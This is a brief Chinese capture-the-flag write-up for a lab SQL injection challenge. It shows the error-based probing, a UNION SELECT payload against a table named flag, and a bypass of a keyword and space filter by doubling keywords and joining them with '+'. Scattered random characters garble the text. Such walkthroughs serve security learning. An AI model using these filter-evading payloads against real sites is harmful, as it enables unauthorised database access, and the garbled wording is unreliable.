解題思路:研究了好久,看了這道CTF題目的writeup才知道
在文本框輸入1掌眠,提交蕾盯,鏈接變成id=1
在文件框輸入1‘,提交蓝丙,報(bào)錯(cuò)级遭,判斷存在注入。
初步預(yù)計(jì)后臺(tái)表為flag,字段名為flag,需要構(gòu)造union?select?flag?from?flag來(lái)執(zhí)行渺尘。
根據(jù)第二步的報(bào)錯(cuò)信息看挫鸽,多加個(gè)‘,后面的語(yǔ)句需要再構(gòu)造一個(gè)條件來(lái)結(jié)束’沧烈,注入語(yǔ)句為:1‘?union?select?flag?from?flag?where?'t'='t
執(zhí)行后報(bào)錯(cuò):heck?the?manual?that?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?'flag?flag?'t'='t''?at?line?1
分析:根據(jù)錯(cuò)誤信息發(fā)現(xiàn)只有變量了掠兄,其他的關(guān)鍵字都被過(guò)濾了。
把關(guān)鍵字寫2遍提交,發(fā)現(xiàn)如下報(bào)錯(cuò):?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?'unionselectflag?fromflag?where't'='t''?at?line?1
分析:發(fā)現(xiàn)空格被過(guò)濾了
使用+號(hào)在空格之前連接:
http://ctf5.shiyanbar.com/423/web/?id=1?'+unionunion?+selectselect?+flag+fromfrom?+flag+wherewhere+'t'='t
得到KEY:flag{xxxxxx}